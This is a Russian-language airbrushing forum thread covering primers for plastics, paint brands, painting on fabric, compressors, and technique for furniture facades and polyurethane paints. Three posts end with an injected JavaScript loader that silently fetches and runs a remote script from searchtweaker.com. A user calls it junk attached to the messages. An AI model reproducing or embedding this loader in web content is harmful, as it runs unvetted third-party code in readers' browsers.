тестирование аэрографов hansa,paashe.популярно о аэрографии.

Это смотря какой пластик, неудачный эксперимент с пластиком - это PP(полипропилен) и PE, PET(полиэтилен), вот на нём без соответствующих пластификаторов не держатся никакие грунты и лаки. На остальных пластиках краска нормально держится, естественно, при условии применения грунта по пластику. Следует перевернуть колпак и посмотреть на нём маркировку - там обязательно должна быть тонкая рельефная надпись с видом пластика - это может быть как РР, так и АВС, и PS, (полистирол), поливинилхлорид ( ПВХ, PVC ), поликарбонат ( PC ). Чаще всего используют ПВХ, но могут быть и другие виды пластика. Так вот, после того, как вид пластика определён, тогда можно идти на подбор или в магазин покрасочных материалов и спрашивать грунт конкретно под этот вид пластика. После нанесения грунта и матовки его, можно наносить хоть автомобильные краски, хоть водорастворимые акриловые, и потом лакировать автомобильными лаками. Перечислять названия фирм-производителей не буду, поскольку в разных городах разные представительства, и найти одинаковые материалы достаточно проблематично, так что нужно ориентироваться уже на месте.

Спасибо, исчерпывающий ответ.

Здравствуйте
Я рисую но художественного образования нет. Работаю и в свободное время рисую.Аэрограф брал чтобы плавные расстежки делать и особенно на футболках рисовать. У меня АЭРО ПРО 103.Краску использую Марабу силк и Акрил Ладога в тюбиках. То есть акрил есть но через сопло 0.3 он идёт с трудом и часто забивает, одно мучение. Есть ещё некоторые цвета из декола текстиль .
Андрей скажите пожалуйста, если докупить сопло 0.5 можно будет работать с Ладогой. Понятно что она кака но как быть, может пригодится ещё.

Стоит вопрос о покупке хорошей краски. Рассматриваю авто аир и ех микс. В штатах можно заказать дешевле . Это раз. И в авто аир цветов больше и можно выбрать укрывистые и прозрачные. Тока средства появятся в сентябре. Проблема если почту задержат ,а она и так 2 месяца идёт, краска может помёрзнуть. Я прав?
Ехмикс в этом плане за две недели доставят.+. Но как я говорил у них цветов мало тока основные Андрей вы её использовали –вас это не смущало . Вы её мешами или другой фирмы цвета добирали. Я говорю об охре жжённой , церулеуме, умбре и др.Их можно из других цветов намешать но они сами по себе очень красивы.

Ещё такой вопрос . Ехмикс прозрачна значит её как акварелью рассовать?

На чём рисовать?
Есть немного ДСП , со стройки осталось . Он гладкий и рисую сейчас на нём.
Можно ли натянуть плащёвку и загрунтовать, она тоже гладкая ? Состав полиэстр . Она плотная и совсем не тянется. Главное на работе можно даром взять? Или не стоит, кто его знает как она потом себя поведёт.
Ещё можно с работы лён добыть, но он крашеный и почти везде с состав синтетика входит.

ПС В штатах есть родственники , поэтому авто аир рассматриваю, или можно на что то ещё обратить внимание?

Заранее всем спасибо. Оч Оч полезный форум

Вынос мозга :) если честно... Приветствую, Василий! Сопло 0, 5 поможет в случае с Ладогой, но не в работе с тонкими линиями,просто нужно учитывать следующее: Ладога, Поликолор, Дюфа и т.п. густые художественные акриловые краски, которые не предназначены для аэрографии, используются при работе с большими площадями и с крупными деталями - для фона на площади более 0,3м.кв., при росписи стен и т.п. Мелочёвка доделывается уже мелкодисперсной фирменной краской. В итоге такая работа выходит в разы дешевле, чем полностью выполненная фирменной краской, поскольку 90% делается относительно дешёвыми материалами, и лишь тонкие моменты дорогой краской. При постоянной работе расходы на материалы снижаются разы, в сравнении с работой исключительно фирменной краской от начала до конца. Пытаться выжать из аэрографа тонкую линию Ладогой занятие бессмысленное, поскольку там крупная фракция пигмента. Был не так давно в Exstudio, они наладили установку для изготовления пигмента собственного помола, взял на пробу, и могу с уверенностью сказать, что Exmiks на данное время одна из самых мелкодисперсных красок для аэрографии. То, что она прозрачна, решается тем, что делается белая подложка корпусной(укрывистой) белой краской, а по ней уже идут прозрачные слои, которые за счёт светимости первого, белого слоя, хорошо видны. Используется акварельный принцип, где белая подложка подобна белому листу акварельной бумаги. Однако, в Эксмиксе можно смешивать белую корпусную краску с полупрозрачной цветной, этим решая вопрос укрывистости, то есть, не нужны отдельные линейки красок, как это идёт в Автоэйрколор и Креатекс - кроющая и прозрачная.
А насчёт цветов, могу сказать, что большая линейка цветов не нужна вовсе, в обычной практике используется пять-шесть цветов, плюс чёрный и белый, и смеси этих красок хватает с головой, тем более, что Экстудио сейчас уже делают аналоги художественных цветов - умбра, охра светлая и т.д., так что работать стало намного удобнее.
Насчёт ткани для рисования, то с современными акриловыми красками по ткани проблема их стойкости не стоит так остро, как это было недавно, когда краски были предназначены для работы только по натуральным материалам, а Гамма ещё додумывалась производить краски закрепляемые в автоклаве(полный маразм, по моему). Сейчас повсеместно доступны краски по синтетическим тканям, просто нужно уточнять при покупке, что нужны краски именно для синтетики, а также учитывать, что есть краски по светлым и тёмным тканям, соответственно прозрачные и кроющие. Также при росписи ткани особо важно предварительно обрабатывать ткань медиумом / праймером (прозрачный грунт), который не даст впитываться краске в волокна, экономя таким образом и краску и время. Медиумы известных фирм разработаны с учётом рисования на предметах обихода, и картинка не будет "стоять колом". Конкретно по тканям я сказать не могу, там есть специфика, в каждом случае нужно пробовать, на качество влияют много факторов, таких как плетение нити - бывает что ткань из одного и того же материала гладкая, а другая покрыта мелкими ворсинками, и краска оседает на них, совершенно не давая работать, или обработана специальной несмываемой пропиткой, на которой краска просто не держится.
По крашенным тканям порядок работы такой: медиум-кроющая белая - цветные краски. Из наиболее стойких красок по ткани можно так же обратить внимание на Wicked color http://www.createxcolors.com/products/wickedcolors/index.html Это универсальная краска, но основное её предназначение - роспись тканей. Все, кто ей работал, очень хвалили. Как написано на сайте производителя, закрепляется на ткани утюгом.

Спасибо. Извените, что так сразу и с вопросами.
Посмотрел Wicked color , в нете конечно. Понравилась- универсальная, яркая, и цена не заоблочная.
Сегодня на тёмной футболке рисовал. Взял марабу текстиль и folk art обе белые. Марабу тонко пылит , тонкую линию можно вести и в аэрограф с ней без соплей в бачке. Из минусов тока то что она прозрачна. Folk art в этом плане густая кроет легко, но почему то в бачке быстро оседает. У folk art ещё есть медиум, его в обычную акриловую краску / их серии/ добавляешь и она становится для текстиля , его тож попробовал. И чтобы на иглу меньше липло подливал замедлитель для акрила, но всё равно сильно липнет, но много меньше чем Ладога. Советовали чтоб не липло к игле в краску каплю глицерина подливать. Я такой смесью футболку покрасил ,а после стирки краска местами сошла. Думаю что так не надо делать. И не знаю может замедлитель тоже зря добавляю.
Марабу хорошая краска, но тока 80 р за 15 мл это ОЧЕНЬ дорого. Посмотрел вроде большая баночка на 50 мл в районе 150 стоит- это уже неплохо. Не хочется дорогих матерьялов набрать а потом над каждой каплей трястись. Пока все футболки в деревню к родителям отправлял и друзьям рисую. Пока тренируюсь.
Спасибо за совет краска понравилась наверно её буду заказывать

(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Про ткани позже отпишусь. Опробую что да как с ними, порисую на плащёвке и напишу тогда
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

какя то ерунда к сообщениям сзади пристроилась....???
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Здравствуйте! Подскажите, пожалуйста, что делать с компрессором, вернее где его взять. У меня оказался аэрограф, но как я уже понял, это далеко не все, что нужно. Можно ли его чем-либо заменить? Потому что покупать его ради того, чтобы попробовать - не очень хорошая идея на мой взгляд. Спасибо!

Доброго времени суток . Прочитал всю переписку на форуме за десять часов "учитывая ссылки"
Огромное спасибо за ёмкий по содержанию форум.

Вот решил дать "Максимовичу" рекомендации . Сам с прямыми руками и технически подкован , хотя в аэрографии новичёк.

Если душа лежит и есть желание рисовать , то берите компрессор . А если так, попробовать , то можно его взять в прокат или зайти в какую нибудь малярку и проконсультироваться да и посоветуют по сути.

На мой взгляд : малярка , оптимальный вариант.

Можно у знакомых поспрашивать советский медицинский компрессор, просто подсоединить к нему шланг и пробовать, для начала вполне хватит. Можно собрать на базе холодильниковского или снятого с кондиционера, но это муторно и трудоёмко. Ещё проще найти людей, занимающихся аэрографией в своём городе и пробовать на ихнем оборудовании.

Господа предлагаю вашему вниманию вот такой комплект:

1. 
   компрессор Air brush EFBE W.GERMANY (зеленый, двойной)
   2. Аэрограф Air brush EFBE W.GERMANY 4 штуки разные с нижней подачей краски
   3. Краски ECOLINE 36 цветов производство голландия(упакованы по 5 штук по 30 мл )
   
   Вопросы в личку либо по телефону 89105461519
   
   

ГОСПОДА ПРЕДЛАГАЮ ВАШЕМУ ВНИМАНИЮ :

Компрессар airbrush efbe w.germany
Аэрограф Air brush EFBE W.GERMANY 4ШТУКИ
краски ECOLINE 36 цветов производство голландия ( упакованы по 5 штук по 30 мл )

все вопросы в личку
т.89105461519

ГОСПОДА ПРЕДЛАГАЮ ВАШЕМУ ВНИМАНИЮ :

Компрессар airbrush efbe w.germany

Аэрограф Air brush EFBE W.GERMANY 4ШТУКИ

краски ECOLINE 36 цветов производство голландия ( упакованы по 5 штук по 30 мл )

все вопросы в личку

т.89105461519

Спасибо за поднятие темы, конечно :) . Но всё же, объявления размещаются в соответствующем разделе сайта: http://artnow.ru/forum/forumdisplay.php?f=3 И общая рекомендация, цену озвучивайте лучше сразу, не бойтесь, налоговая не придёт :) , зато продадите в разы быстрее, уверяю.

Настало время поддержать тему свежей порцией информации. Итак, аэрография на мебельных фасадах:
Аэрография на мебельных фасадах - потенциально прибыльный и развивающийся вид элитной аэрографии, по большинству своих технических характеристик этот вид аэрографии схож с автомобильной аэрографией, это и подготовка поверхности к нанесению рисунка, и последующая лакировка и полировка, даже сборка напоминает автомобильную технологию. Желая заниматься аэрографией на мебельных фасадах, необходимы некоторые специфические знания, так, нужно знать, что не любая мебельная поверхность может быть расписана аэрографом, наиболее подходящая - уже покрашенная мебельными материалами. Материалы, кстати, не очень сильно отличаются от используемых в авторемонтных мастерских, и художники, владеющие навыками автомаляров, без особых проблем перестраиваются на новые материалы. Основная масса мебели красится полиуретановыми и полиэфирными красками и лаками, а они имеют свою специфику - это более толстый слой лака, со специфической растекаемостью, и его большая агрессивность к краскам, поэтому аэрографию на мебели, если она будет покрыта мебельным лаком, следует выполнять автомобильными красками, как более стойкими к агрессивным лакам. Акриловая краска под полиэфирным лаком часто теряет цвет и может растрескиваться или отслаиваться, иногда, вследствие присутствия в воздухе паров силикона (особенно там, где рядом использовалось средство WD-40, приходится перетирать лак, до образования однородной поверхности, и подкрашивать рисунок заново, снова покрывая лаком, что ведёт к излишним тратам дорогостоящих материалов и времени. Сейчас некоторые мебельные производства переходят на водные материалы, с такими лаками можно работать с водорастворимыми акриловыми красками, в том числе художественными акрилами. Однако у материалов на водной основе имеется своя специфика, особенно у лаков, которые ведут себя порой непредсказуемо, ввиду множества факторов, влияющих на конечное покрытие – это и концентрация пыли в воздухе, и влажность воздуха и рабочая температура. Также работа на пористых поверхностях предполагает сначала нанесение прозрачного грунта - порозаполнителя, предназначенного для выравнивания поверхности, особенно когда работу нужно сделать по шпонированной поверхности, как правило, имеющей именно такую структуру или по нелакированной натуральной древесине, имеющей невидимые глазу поры и микротрещины. Такое покрытие обеспечивает однородность поверхности, соответственно, рисунок получится нормально. Основной момент в росписи мебели - правильно сложить фасады для работы над картинкой, однажды сборщики неправильно разложили фасады, и картина получилась вверх ногами, этот момент конечно, позабавил, но было потеряно время и материалы на переделку, поэтому следует как можно аккуратнее относиться к таким вещам, при демонтаже фасадов с обратной стороны приклеивать кусочек бумажного скотча, на котором будет обозначено, где верх и низ, а также номер, который будет проставлен на чертеже, чтобы не допустить досадных промахов. Также, при самостоятельной росписи мебели, бывшей в употреблении необходимо самое тщательное обезжиривание поверхности, просто слегка пройтись спиртом или толуолосодержащим растворителем недостаточно, поскольку слой жира на мебельных фасадах обычно большой, особенно если это касаемо кухонь, бывших в употреблении, ящиков стола или дверок шкафа. Здесь требуется профессиональный обезжириватель - антисиликон и несколько проходов, прежде чем можно приступать к работе. Следующим этапом становится матовка поверхности, призванная усилить сцепляемость слоёв за счёт мельчайших царапин, оставляемых абразивными материалами. Для матовки поверхности можно применять различные абразивы - от специальных матовочных паст, матовочных губок и скотч-брайта, до матовки обычной наждачной шкуркой, имеющей фракцию абразивных крупиц 600-800. Обычно подготовка наждачной шкуркой ведётся "насухую", когда поверхность матуется сначала круговыми движениями, а потом сверху вниз, и это обязательно, чтобы не видны были следы наждачной шкурки - мелкие риски, проявляющиеся под лаком при попадании солнечного света. Когда направление рисок в одну сторону, они создают однородную структуру и практически незаметны. В работе с наждачной шкуркой есть интересный момент, она сильно забивается пылью от краски или лака, быстро приходя в негодность. Для продления их жизни есть такой популярный у маляров способ - периодическое вытирание наждачной шкурки о поролоновую губку. Это позволяет в десятки раз продлить срок службы наждачной бумаги. Подготовка с помощью матовочной пасты предполагает подготовку "на мокрую", для матирования поверхности необходима вода и скотч-брайт. Однако такая подготовка не всегда уместна, материалы, из которых изготовлены фасады современных кухонь, не предусматривают их намокание и может быть, что от воды может начаться расслоение ДСП, ДВП или МДФ, из которых изготавливают корпусную мебель.

Сегодня разговаривал с товарищем по поводу полиуретановых и акриловых красок, и их различии. Что необходимо знать в первую очередь? Разница между ними в том, что полиуретановые краски более эластичны и более текучи, вследствие чего в них может содержаться большее количество пигмента. Соответственно, такие краски более кроющие(корпусные). Полиуретановые краски бывают разных видов, как водорастворимыми, так и сольвентно растворимыми. "Сольвентно", конечно же, имеет условное обозначение, поскольку растворителей множество, зависит от конкретной краски и поставленных задач, поскольку растворители бывают "медленными" и "быстрыми". Быстрыми считаются растворители, содержащими смесь толуола и бутилацетат а, ацетона, этилацетата(уксусного эфира), способными к быстрому испарению, медленными - смеси, содержащие большой процент сольвента и ксилола, либо циклагексанона и т.п., высыхающие более медленно. Более медленные растворители позволяют наносить краски и лаки без овестпрея - подсохших на подлёте к поверхности мельчайших капель краски или лака. В работе акриловыми материалами оверспрей не составляет большой проблемы, поскольку акрил более хрупкий материал чем вязкий полиуретан, и часть оверспрея, попавшего на окрашиваемую акриловыми материалами поверхность отскакивает от неё, часть удаляется перед лакировкой с помощью спецстредств - "липкой салфетки", скотч-брайта мелкой фракции абразива (золотой либо серый) и прочими. Полиуретан же, ввиду вязкости, не позволяет удалить с поверхность частички оверспрея, для этого и используются растворители, дающие возможность покрасочному материалу не подсыхать в процессе подлёта к окрашиваемой поверхности. Полиуретан сохнет дольше, чем акрил, но у каждого материала своё преимущество. У полиуретановых материалов, для аэрографиков, оно в том, что краска более насыщенна пигментом, а лак даёт больший слой, чем акрил, у которого сухой остаток меньше. Сухой остаток подразумевает плёнку, оставшуюся от изначального веса жидкой смеси. Недостаток полиуретана перед акрилом в большем времени сушки, особенно межслойной, и садящейся на материал пыли и ворсинках, захватываемых воздушным потоком из окружающих поверхностей. Также, ввиду большей, нежели у акрила эластичности, полировка полиуретановой поверхности сложнее.

Ищу в Москве достойные курсы по аэрографии.
Желательно в северной части города.

Может кто-то что-то порекомендовать?

)))
Чертовски лестно!

Добрый день, хотела кое что уточнить у вас. Есть металлические двери гаража, и краска на них, то есть как бы все в отличном состоянии. Насколько важно зашкурить эту поверхность и нанести грунт? А если рисунок будет не на всю поверхность ворот, нужно чтобы фон был именно таким как ворота?